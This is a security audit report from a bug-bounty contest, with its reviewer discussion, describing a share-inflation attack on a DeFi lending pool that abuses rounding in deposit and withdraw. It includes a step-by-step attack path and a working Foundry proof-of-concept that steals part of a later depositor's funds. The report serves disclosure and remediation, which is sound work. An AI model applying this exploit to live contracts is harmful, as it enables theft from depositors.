Obsidian - By inflating the value of a pool share, a malicious actor can steal a large amount of funds

[sherlock-admin3]

Obsidian

High

By inflating the value of a pool share, a malicious actor can steal a large amount of funds

Summary

By inflating the value of a pool share, a malicious actor can steal a large amount of funds. An attacker can frontrun depositors to steal funds, or frontrun a SuperPool reallocation to steal funds.

Root Cause

Pool.deposit() rounds DOWN the number of shares minted to the user. Pool.withdraw() rounds UP the number of shares burned from the user.

A classical vault inflation/donation attack involves donating assets to the pool via token transfers. However the classic attack is not possible in this protocol since totalDepositAssets are tracked internally via a storage variable.

However, through exploiting the rounding directions on deposit() and withdraw() , a malicious actor can still inflate the value of a single share by a significant amount (1e0 share = 12.15e18 assets). Then, after the next deposit occurs (either a normal deposit, or a SuperPool reallocation), the malicious actor can withdraw their share for profit.

Internal pre-conditions

pool.interestFee == 0

External pre-conditions

No response

Attack Path

1. Attacker deposits 1e18 into a pool that was newly initialised
2. Attacker deposits 1e17 assets as collateral, and borrows 0.05e18 assets
3. After at least 1 block (so interest accrues on this loan), the attacker repays the loan + interest
4. Attacker withdraws pool.getAssetsOf(fixedRatePool, attacker) - 2
   • This achieves the pre-condition of totalAssets = 2, totalShares = 1
5. Now the attacker deposits 2*totalAssets - 1 , and receives 1 share in return
6. Then the attacker withdraws that share, converting it into 1 asset
7. Steps 5-6 are repeated, so that totalAssets increases while totalSupply remains at 1 due to step 6
   • This is effectively ‘manual donation’ to the pool, allowing the share value to be inflated, without the need to send tokens in (since total assets are stored as storage variables rather than token balances)
   • After 40 iterations, totalAssets can be increased to ~ 3^40 (12e18)
8. Once the value of 1 share has been inflated sufficiently, the next depositor’s deposit will round the number of shares to 1
   • For example, if totalAssets = 12e18 and the depositor deposits 20e18 , the new state is totalAssets = 32e18 and totalShares = 2
   • The attacker can then withdraw their 1 share for totalAssets/2 = 16e18
   • Their profit is 16e18 - 12e18 = 4e18 , which is a profit of 33%

Impact

Loss of funds for the depositor who is frontran by the attacker

The maximum potential profit for the attacker is 50% , per victim depositor

• This is the case where the depositor deposits m2 * 3^n - 1 where n is the number of iterations of step 5-6

PoC

Add the following test to test/integration/POC.t.sol

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {BigTest, Action} from "./BigTest.t.sol";
import { MockERC20 } from "../mocks/MockERC20.sol";
import {console} from "forge-std/console.sol";
import { Pool } from "src/Pool.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PositionManager, Operation} from "src/PositionManager.sol";

contract PoolShareInflation is BigTest {

    uint256 public constant borrowAmt = 0.05e18;
    uint256 public constant collateralAmt = 0.1e18;

    address public immutable attacker;

    constructor() {
        attacker = makeAddr("inflator");
    }
    function test_inflateShareValue() public {
        
        address asset = pool.getPoolAssetFor(fixedRatePool);
        (address attackerPos, Action memory _newPosition) = newPosition(attacker, "attackerPosition");
        positionManager.process(attackerPos, _newPosition);

        Action memory depositAct = deposit(address(asset3), collateralAmt);
        Action memory borrowAct = borrow(fixedRatePool, borrowAmt);
        Action memory addAsset = addToken(address(asset3));
        Action[] memory actions = new Action[](3);
        actions[0] = depositAct;
        actions[1] = borrowAct;
        actions[2] = addAsset;
        
        deal(asset, attacker, 25e18);
        deal(address(asset3), attacker, 25e18);

        uint256 attackerBalanceBefore = MockERC20(asset).balanceOf(attacker);
        console.log("attacker balance before: %e", MockERC20(asset).balanceOf(attacker));

        vm.startPrank(attacker);
        MockERC20(asset).approve(address(pool), 25e18);
        MockERC20(asset3).approve(address(positionManager), 25e18);

        pool.deposit(fixedRatePool, 1e18, attacker);
        positionManager.processBatch(attackerPos, actions);

        // this warp can be anything, does not matter
        vm.warp(block.timestamp + 1);
        pool.accrue(fixedRatePool);

        Action memory repayAsset = repay(fixedRatePool, pool.getBorrowsOf(fixedRatePool, attackerPos));
        uint256 interestToPay = pool.getBorrowsOf(fixedRatePool, attackerPos) - MockERC20(asset).balanceOf(attackerPos);
        MockERC20(asset).transfer(attackerPos, interestToPay);
        
        positionManager.process(attackerPos, repayAsset);
        uint256 shares = pool.withdraw(fixedRatePool, pool.getAssetsOf(fixedRatePool, attacker) - 2, attacker, attacker);
        console.log("shares withdrawn: %e", shares);

        for (uint256 i = 0; i < 40; i++) {
            console.log("totalShares: %e", _totalDepositShares(fixedRatePool));
            console.log("totalAssets: %e\n", _totalDepositAssets(fixedRatePool));

            // Deposits the maximum amount of assets to only receive 1 share back
            pool.deposit(fixedRatePool, 2*_totalDepositAssets(fixedRatePool)-1, attacker);

            // brings totalShares back to 1
            pool.withdraw(fixedRatePool, 1, attacker, attacker);
        }

        console.log("totalShares: %e", _totalDepositShares(fixedRatePool));
        console.log("totalAssets: %e\n", _totalDepositAssets(fixedRatePool));        

        console.log("stealable amount (per deposit): %e <= n <= %e\n", _totalDepositAssets(fixedRatePool), 2*_totalDepositAssets(fixedRatePool)-1);

        uint256 amountSpent = attackerBalanceBefore - MockERC20(asset).balanceOf(attacker);

        // User tries to deposit
        address user = makeAddr("innocentUser");
        vm.startPrank(user);
        deal(address(asset), user, 50e18);
        MockERC20(asset).approve(address(pool), 20e18);
        pool.deposit(fixedRatePool, 20e18, user);
        vm.stopPrank();

        console.log("user's assets in the pool: %e", pool.getAssetsOf(fixedRatePool, user));

        vm.startPrank(attacker);
        pool.withdraw(fixedRatePool, pool.getAssetsOf(fixedRatePool, attacker), attacker, attacker);
        vm.stopPrank();

        console.log("attacker balance after: %e", MockERC20(asset).balanceOf(attacker));

        uint256 profit = (MockERC20(asset).balanceOf(attacker) - attackerBalanceBefore);
        console.log("attacker profit: %e (%s %)", profit, profit * 100 / amountSpent);

    }

    function repay(uint256 id, uint256 amt) internal pure returns (Action memory) {
        bytes memory data = abi.encodePacked(id, amt);
        Action memory action = Action({ op: Operation.Repay, data: data });
        return action;
    }

    function _totalDepositAssets(uint256 id) internal view returns (uint256){
        (,,,,,,,,,uint256 totalDepositAssets,) = pool.poolDataFor(id);
        return totalDepositAssets;
    }
    function _totalDepositShares(uint256 id) internal view returns (uint256){
        (,,,,,,,,,,uint256 totalDepositShares) = pool.poolDataFor(id);
        return totalDepositShares;
    }
}

Console output

    ......
    
    attacker balance after: 2.8921167270471535599e19
    attacker profit: 3.921167270471535599e18 (32 %)

Mitigation

Burn initial shares in initializePool , similar to the burning of initial shares in the SuperPool

Duplicate of #597

[S3v3ru5]

Good exploit. I am not sure if this is profitable.

Attack starts with totalAssets: totalShares 2:1.

In step 5 and step 6

5. Now the attacker deposits 2*totalAssets - 1 , and receives 1 share in return
6. Then the attacker withdraws that share, converting it into 1 asset

Let's consider two iterations:

deposit 2*2 - 1 = 3 => totalAssets = 5, totalShares = 2
withdraw 1 share => totalAssets = 3, totalShares = 1.

Attacker deposited 3 wei, received 2 wei. Loss = 1 wei, increase in totalAssets = 1 wei

deposit 2*3 - 1 = 5 => totalAssets = 8, totalShares = 2
withdraw 1 share => totalAssets = 5, totalShares = 1.

Attacker deposited 5 wei, received 3 wei. Loss = 2 wei, increase in totalAssets = 2 wei

The addition to totalAssets comes from the loss to attackers.

For the totalAsssets:totalShares to become 12e18:1, attacker loses 12e18.

The total profit for the attacker is bounded by the 12e18 only because that's the max depositor will lose from rounding error.

[0xjuaan]

Escalate

This submission (#90) is a duplicate of #597 (along with #582).

The 3 submissions demonstrate a way to exponentially inflate the value of shares and steal from the first depositor. The other share inflation submissions (like the one this is currently duplicated with, and also #481) demonstrate low severity impact since they linearly increase the share value, making it infeasible to cause any material loss due to the gas limit.

These 3 reports should also be high severity since they can cause large amounts of loss, without any special conditions required.

[sherlock-admin3]

Escalate

This submission (#90) is a duplicate of #597 (along with #582).

The 3 submissions demonstrate a way to exponentially inflate the value of shares and steal from the first depositor. The other share inflation submissions (like the one this is currently duplicated with, and also #481) demonstrate low severity impact since they linearly increase the share value, making it infeasible to cause any material loss due to the gas limit.

These 3 reports should also be high severity since they can cause large amounts of loss, without any special conditions required.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[0xjuaan]

Hi @S3v3ru5, the PoC demonstrates the profitability

[ruvaag]

The rounding is intended to make sure it is in favor of the protocol, but the issue around inflation caused by the first depositor seems valid. we intend to fix it by burning shares as done with the SuperPools

[cvetanovv]

I agree with the sponsor and the escalation. You can also see this comment of mine: #427 (comment)

Planning to accept the escalation and duplicate this issue with #597.

[WangSecurity]

Result:
High
Duplicate of #597

[sherlock-admin2]

Escalations have been resolved successfully!

Escalation status:

• 0xjuaan: accepted